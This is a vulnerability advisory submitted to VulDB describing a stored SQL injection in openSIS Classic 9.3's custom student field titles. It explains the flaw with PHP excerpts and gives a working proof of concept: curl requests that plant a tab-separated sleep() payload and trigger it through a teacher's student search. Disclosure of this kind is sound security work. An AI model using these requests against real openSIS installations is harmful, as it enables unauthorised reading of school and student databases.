Invia #954961: os4ed openSIS Classic (Community Edition) 9.3 SQL Injectioninformazioni

Titoloos4ed openSIS Classic (Community Edition) 9.3 SQL Injection
Descrizione## Affected Software - **Product**: openSIS Classic (Community Edition) - **Version**: 9.3 - **Repository**: https://github.com/OS4ED/openSIS-Classic - **Source revision**: master commit `ec86d7da2abbd0fc1b51c5cad250da043dcb6110` (HEAD at the 2026-06-02 release of 9.3; the repository has no V9.3 tag) ## Vulnerability Description This is a cross-privilege stored (second-order) SQL injection: an administrator plants the payload through the custom student fields editor, and afterwards any user who runs a student search — including a low-privileged teacher — triggers its execution without knowing. On the write side, `modules/students/StudentFields.php` saves custom fields by concatenating the column-name keys and values of `tables[...][...]` straight into an UPDATE statement. The field title (the TITLE column) goes through three sanitizers (special-character cleaning, trim, and uppercasing for display) before being stored, but a tab character (0x09) survives all three. On the read side, `functions/CustomFieldsFnc.php` builds the WHERE conditions for the student search by concatenating the TITLE of any custom field flagged as a system field (SYSTEM_FIELD='Y') **unquoted into the column-name position** (`and s.<TITLE>='Y'`). A title shaped like `GENDER<TAB>or(sleep(N))` is therefore stored verbatim in `custom_fields.TITLE`, and every subsequent student search that filters on this field concatenates that stored string into the column-name position of the query, where it executes as SQL code. One save request injects the payload; any later search request triggers it. The TITLE column is varchar(30) and the sanitizer restricts the usable character set, so the payload must fit in 30 characters, use Tab as its only whitespace and keep its parentheses balanced — within those constraints, boolean time-delay injection reads arbitrary database content bit by bit. The assembled condition is also stored in the session (`$_SESSION['custom_count_sql']`) and executed a second time inside the count query. ## Root Cause Write side — `modules/students/StudentFields.php` (saving a custom field): ```php foreach ($_REQUEST['tables'] as $id => $columns) { // ... $sql = "UPDATE $table SET "; // ... foreach ($columns as $column => $value) { if ($column == 'TITLE' && $value != '') { $value = str_replace("'", "''", clean_param(trim($value), PARAM_SPCL)); $title = strtoupper(str_replace("'", "''", clean_param($value, PARAM_SPCL))); } $value = paramlib_validation($column, $value); $sql .= $column . "='" . trim($value) . "',"; } ``` The TITLE value is written to `custom_fields.TITLE` after `clean_param(..., PARAM_SPCL)` cleaning and quote-escaping, so the storage step itself is a legitimate write. The problem is on the read side — `functions/CustomFieldsFnc.php` (building the student search WHERE conditions): ```php foreach ($_REQUEST['cust'] as $id => $value) { $field_name = $id; $id = substr($id, 7); if ($fields[$id][1]['SYSTEM_FIELD'] == 'Y') $field_name = strtoupper(str_replace(' ', '_', $fields[$id][1]['TITLE'])); if ($value != '') { switch ($fields[$id][1]['TYPE']) { case 'radio': // ... if ($value == 'Y') { $string .= ' and s.' . $field_name . '=\'' . $value . '\' '; ``` The system field's TITLE is read back from the database, passed through space-to-underscore replacement and uppercasing only, and concatenated **unquoted into the column-name position** — stored data ends up as SQL code. The assembled condition is merged into the student search query by `functions/GetStuListFnc.php`: ```php $custom_str = CustomFields('where'); if ($custom_str != '') $_SESSION['custom_count_sql'] = $custom_str; $sql .= $custom_str; ``` ## Proof of Concept Two sessions are needed: an administrator (payload injection) and a teacher (trigger). `<admin_cookie>` and `<teacher_cookie>` are the session cookies from logging both accounts in through the normal login page; `<target>` is the target host. `<TAB>` in the payload is a real tab character (expressed in bash as `$'GENDER\tor(sleep(0.1237))'`). **1. Administrator saves the custom field with the injected payload** (field type radio, "system field" checked; `0.1237` is this round's unique marker value): ```bash curl -s -o /dev/null -X POST \ 'http://<target>/Modules.php?modname=students/StudentFields.php&category_id=1&id=1&table=custom_fields' \ -b '<admin_cookie>' \ --data-urlencode $'tables[1][TITLE]=GENDER\tor(sleep(0.1237))' \ --data-urlencode 'tables[1][SYSTEM_FIELD]=Y' \ --data-urlencode 'DEFAULT_DATATYPE_1=radio' \ --data-urlencode 'tables[1][DEFAULT_SELECTION]=' \ --data-urlencode 'tables[1][REQUIRED]=' \ --data-urlencode 'tables[1][HIDE]=' ``` **2. Teacher runs a student search, triggering the payload** — a standard student-list search with the custom-field filter set to `cust[CUSTOM_1]=Y` (all remaining search-form fields left empty, matching the captured request): ```bash curl -s -o /dev/null -w '%{time_total}\n' -X POST \ 'http://<target>/Modules.php?modname=students/Student.php&modfunc=&search_modfunc=list&next_modname=students/Student.php' \ -b '<teacher_cookie>' \ --data-urlencode 'cust[CUSTOM_1]=Y' \ --data-urlencode 'sql_save_session=true' ``` Expected result: after the save, `custom_fields` ID=1 has TITLE = `GENDER<TAB>or(sleep(0.1237))` (payload stored, not yet executed); the teacher's search request shows a delay of roughly 0.1237 s × the number of row combinations scanned, clearly distinguishable from the pre-injection control search (about 0.13 s). | Request | Result | | ------------------------------------------------------------ | ------------------------------------------------------------ | | Teacher search before injection (TITLE still the benign `GENDER`), × 2 | 0.136 s / 0.133 s | | Teacher search after the administrator injects `GENDER<TAB>or(sleep(0.1237))`, × 2 | **4.181 s / 2.693 s** (the second and later delays come from the session-borne `custom_count_sql` executing the payload a second time inside the count query) | Payload persistence check (read-only query on `custom_fields`, TITLE and its hex encoding for ID=1): ``` GENDER⇥or(sleep(0.1237)) 47454E444552096F7228736C65657028302E313233372929 ``` ## Impact An administrator (or any role able to edit custom fields) can plant a persistent SQL payload; every user who afterwards runs a student search — including low-privileged teachers — triggers it on each search, without any way to notice. The attacker can execute constrained expressions at the column-name position with the application's database credentials and read arbitrary database content bit by bit through boolean time-delay injection. The payload persists in `custom_fields.TITLE` and re-executes via the session variable inside count queries, so the trigger surface spans every session that uses the student search. ## Suggested Fix Use parameterized queries/prepared statements on the read side instead of concatenating the stored field title into the column-name position, and validate custom-field titles against a strict character whitelist on the write side.
Fonte⚠️ https://github.com/OS4ED/openSIS-Classic/issues/475
Utente
 360alphalab (UID 100924)
Sottomissione01/09/2026 07:51 (29 giorni fa)
Moderazione30/09/2026 07:51 (29 days later)
StatoAccettato
Voce VulDB411871 [OS4ED openSIS-Classic fino a 9.3 Student Search CustomFieldsFnc.php cust iniezione SQL]
Punti20

Do you need the next level of professionalism?

Upgrade your account now!